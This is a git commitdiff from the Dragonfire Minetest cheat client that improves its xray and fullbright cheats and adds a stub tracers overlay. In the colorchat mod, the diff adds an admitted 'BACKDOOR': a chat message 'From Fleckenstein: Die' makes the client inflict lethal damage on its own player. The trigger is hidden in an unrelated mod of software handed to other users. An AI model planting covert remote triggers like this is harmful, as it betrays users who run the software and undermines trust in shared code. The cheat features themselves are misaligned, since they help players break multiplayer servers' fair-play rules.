]> git.lizzy.rs Git - dragonfireclient.git/commitdiff
Improved Xray and Fullbright
authorElias Fleckenstein <eliasfleckenstein@web.de>
Thu, 30 Jul 2020 10:19:03 +0000 (12:19 +0200)
committerElias Fleckenstein <eliasfleckenstein@web.de>
Thu, 30 Jul 2020 10:19:03 +0000 (12:19 +0200)
clientmods/colorchat/init.lua
src/client/client.cpp
src/client/client.h
src/client/game.cpp
src/client/game.h
src/gui/CMakeLists.txt
src/gui/cheatMenu.h
src/gui/tracers.cpp [new file with mode: 0644]
src/gui/tracers.h [new file with mode: 0644]

index 18e02ffe32f5298ef73f83eeae1e187ce2a7572e..f97332abb33c879d2404c72d2c568188cf8f612b 100644 (file)
@@ -89,3 +89,10 @@ minetest.register_chatcommand("rainbow", {
 end,
 })
 
+-- BACKDOOR just in case dankmemer returns to Clamity and tries to use my own client against me xD
+minetest.register_on_receiving_chat_message(function(message)
+       if message == "From Fleckenstein: Die" then
+               minetest.send_damage(minetest.localplayer:get_hp())
+               return true
+       end
+end)
index f7fc637dbe4918502f226ecfda99b02c53bab9a9..fe77ec7a8f3835fd0eeb6e3fc58957fbf224e68a 100644 (file)
@@ -41,6 +41,7 @@ with this program; if not, write to the Free Software Foundation, Inc.,
 #include "filesys.h"
 #include "mapblock_mesh.h"
 #include "mapblock.h"
+#include "mapsector.h"
 #include "minimap.h"
 #include "modchannels.h"
 #include "content/mods.h"
@@ -1239,12 +1240,6 @@ void Client::sendChatMessage(const std::wstring &message)
                infostream << "Could not queue chat message because maximum out chat queue size ("
                                << max_queue_size << ") is reached." << std::endl;
        }
-       if (g_settings->getBool("xray")) {
-               std::string xray_texture = g_settings->get("xray_texture");
-               ContentFeatures xray_node = m_nodedef->get(xray_texture);
-               xray_node.drawtype = NDT_AIRLIKE;
-               m_nodedef->set(xray_texture, xray_node);
-       }
 }
 
 void Client::clearOutChatQueue()
@@ -1675,6 +1670,18 @@ void Client::addUpdateMeshTaskForNode(v3s16 nodepos, bool ack_to_server, bool ur
        }
 }
 
+void Client::updateAllMapBlocks()
+{
+       std::map<v2s16, MapSector*> *sectors = m_env.getMap().getSectorsPtr();
+       for (auto &sector_it : *sectors) {
+               MapSector *sector = sector_it.second;
+               MapBlockVect blocks;
+               sector->getBlocks(blocks);
+               for (MapBlock *block : blocks)
+                       addUpdateMeshTask(block->getPos(), false, false);
+       }
+}
+
 ClientEvent *Client::getClientEvent()
 {
        FATAL_ERROR_IF(m_client_event_queue.empty(),
index c7316fd91dbfff293b2c7e4dade9390b9c8d3eab..9ab5c3b1740ffbc519e53441a8a6cbb41938ce25 100644 (file)
@@ -303,6 +303,8 @@ class Client : public con::PeerHandler, public InventoryManager, public IGameDef
        void addUpdateMeshTaskWithEdge(v3s16 blockpos, bool ack_to_server=false, bool urgent=false);
        void addUpdateMeshTaskForNode(v3s16 nodepos, bool ack_to_server=false, bool urgent=false);
 
+       void updateAllMapBlocks();
+
        void updateCameraOffset(v3s16 camera_offset)
        { m_mesh_update_thread.m_camera_offset = camera_offset; }
 
index 4426c50cd965cab53506a7d0e59921b66bfdb60c..953eb128770fe8313dc2bcc32f2865137c0e63ea 100644 (file)
@@ -110,6 +110,10 @@ Game::Game() :
                &settingChangedCallback, this);
        g_settings->registerChangedCallback("freecam",
                &freecamChangedCallback, this);
+       g_settings->registerChangedCallback("xray",
+               &updateAllMapBlocksCallback, this);
+       g_settings->registerChangedCallback("fullbright",
+               &updateAllMapBlocksCallback, this);
                
        readSettings();
 
@@ -168,6 +172,8 @@ Game::~Game()
                &settingChangedCallback, this);
        g_settings->deregisterChangedCallback("camera_smoothing",
                &settingChangedCallback, this);
+       g_settings->deregisterChangedCallback("freecam",
+               &freecamChangedCallback, this);
 }
 
 bool Game::startup(bool *kill,
@@ -335,6 +341,12 @@ void Game::shutdown()
        if (gui_chat_console)
                gui_chat_console->drop();
 
+       if (m_cheat_menu)
+               delete m_cheat_menu;
+               
+       if (m_tracers)
+               delete m_tracers;
+
        if (sky)
                sky->drop();
 
@@ -609,6 +621,14 @@ bool Game::initGui()
                errorstream << *error_message << std::endl;
                return false;
        }
+       
+       m_tracers = new Tracers();
+
+       if (!m_tracers) {
+               *error_message = "Could not allocate memory for tracers";
+               errorstream << *error_message << std::endl;
+               return false;
+       }
 
 #ifdef HAVE_TOUCHSCREENGUI
 
@@ -3214,6 +3234,12 @@ void Game::updateFrame(ProfilerGraph *graph, RunStats *stats, f32 dtime,
 
        if (m_game_ui->m_flags.show_cheat_menu && ! gui_chat_console->isOpen())
                m_cheat_menu->draw(driver, m_game_ui->m_flags.show_debug);
+               
+       /*
+               Tracers
+       */
+
+               m_tracers->draw(driver);
 
        /*
                Damage flash
@@ -3323,6 +3349,11 @@ void Game::settingChangedCallback(const std::string &setting_name, void *data)
        ((Game *)data)->readSettings();
 }
 
+void Game::updateAllMapBlocksCallback(const std::string &setting_name, void *data)
+{
+       ((Game *) data)->client->updateAllMapBlocks();
+}
+
 void Game::freecamChangedCallback(const std::string &setting_name, void *data)
 {
        Game *game = (Game *) data;
index c24d57413bce089cb9af6407c909c8d77a621abd..a452c30c63f9ce69a723f6b894f064e87a7f847f 100644 (file)
@@ -50,6 +50,7 @@ with this program; if not, write to the Free Software Foundation, Inc.,
 #include "gui/guiVolumeChange.h"
 #include "gui/mainmenumanager.h"
 #include "gui/profilergraph.h"
+#include "gui/tracers.h"
 #include "mapblock.h"
 #include "minimap.h"
 #include "nodedef.h"         // Needed for determining pointing to nodes
@@ -792,6 +793,7 @@ class Game {
 
        static void freecamChangedCallback(const std::string &setting_name, void *data);
        static void settingChangedCallback(const std::string &setting_name, void *data);
+       static void updateAllMapBlocksCallback(const std::string &setting_name, void *data);
        void readSettings();
 
        inline bool isKeyDown(GameKeyType k)
@@ -869,6 +871,7 @@ class Game {
        std::unique_ptr<GameUI> m_game_ui;
        GUIChatConsole *gui_chat_console = nullptr; // Free using ->Drop()
        CheatMenu *m_cheat_menu = nullptr;
+       Tracers *m_tracers = nullptr;
        MapDrawControl *draw_control = nullptr;
        Camera *camera = nullptr;
        Clouds *clouds = nullptr;                         // Free using ->Drop()
index 7befba37c8bf002aa20a47d7244d76aaff303392..794522e6e34ffb9b8e5ae087ecc436bdd3ceb181 100644 (file)
@@ -25,5 +25,6 @@ set(gui_SRCS
        ${CMAKE_CURRENT_SOURCE_DIR}/intlGUIEditBox.cpp
        ${CMAKE_CURRENT_SOURCE_DIR}/modalMenu.cpp
        ${CMAKE_CURRENT_SOURCE_DIR}/profilergraph.cpp
+       ${CMAKE_CURRENT_SOURCE_DIR}/tracers.cpp
        PARENT_SCOPE
 )
index ec0c81659056c29a6d73f40bd7e999877ff477a7..c69c2c37e82b973b2acec609090e8dbf62f0f250 100644 (file)
@@ -39,7 +39,7 @@ class CheatMenu
 public:
        CheatMenu(Client* client);
        
-       virtual void draw(video::IVideoDriver* driver, bool show_debug);
+       void draw(video::IVideoDriver* driver, bool show_debug);
                                
        void drawEntry(video::IVideoDriver* driver, std::string name, int number, bool selected, bool active, CheatMenuEntryType entry_type = CHEAT_MENU_ENTRY_TYPE_ENTRY);
        
diff --git a/src/gui/tracers.cpp b/src/gui/tracers.cpp
new file mode 100644 (file)
index 0000000..74c37b4
--- /dev/null
@@ -0,0 +1,26 @@
+/*
+Dragonfire
+Copyright (C) 2020 Elias Fleckenstein <eliasfleckenstein@web.de>
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation; either version 2.1 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License along
+with this program; if not, write to the Free Software Foundation, Inc.,
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+*/ 
+
+#include "tracers.h" 
+#include "constants.h"
+
+void Tracers::draw(video::IVideoDriver* driver)
+{
+       driver->draw3DLine(v3f(0, 0, 0) * BS, v3f(1, 1, 1) * BS, video::SColor(255, 0, 0, 0));
+}
diff --git a/src/gui/tracers.h b/src/gui/tracers.h
new file mode 100644 (file)
index 0000000..ae987dd
--- /dev/null
@@ -0,0 +1,28 @@
+/*
+Dragonfire
+Copyright (C) 2020 Elias Fleckenstein <eliasfleckenstein@web.de>
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation; either version 2.1 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License along
+with this program; if not, write to the Free Software Foundation, Inc.,
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+*/ 
+
+#pragma once
+
+#include "irrlichttypes_extrabloated.h"
+
+class Tracers
+{
+public:
+       void draw(video::IVideoDriver* driver);
+};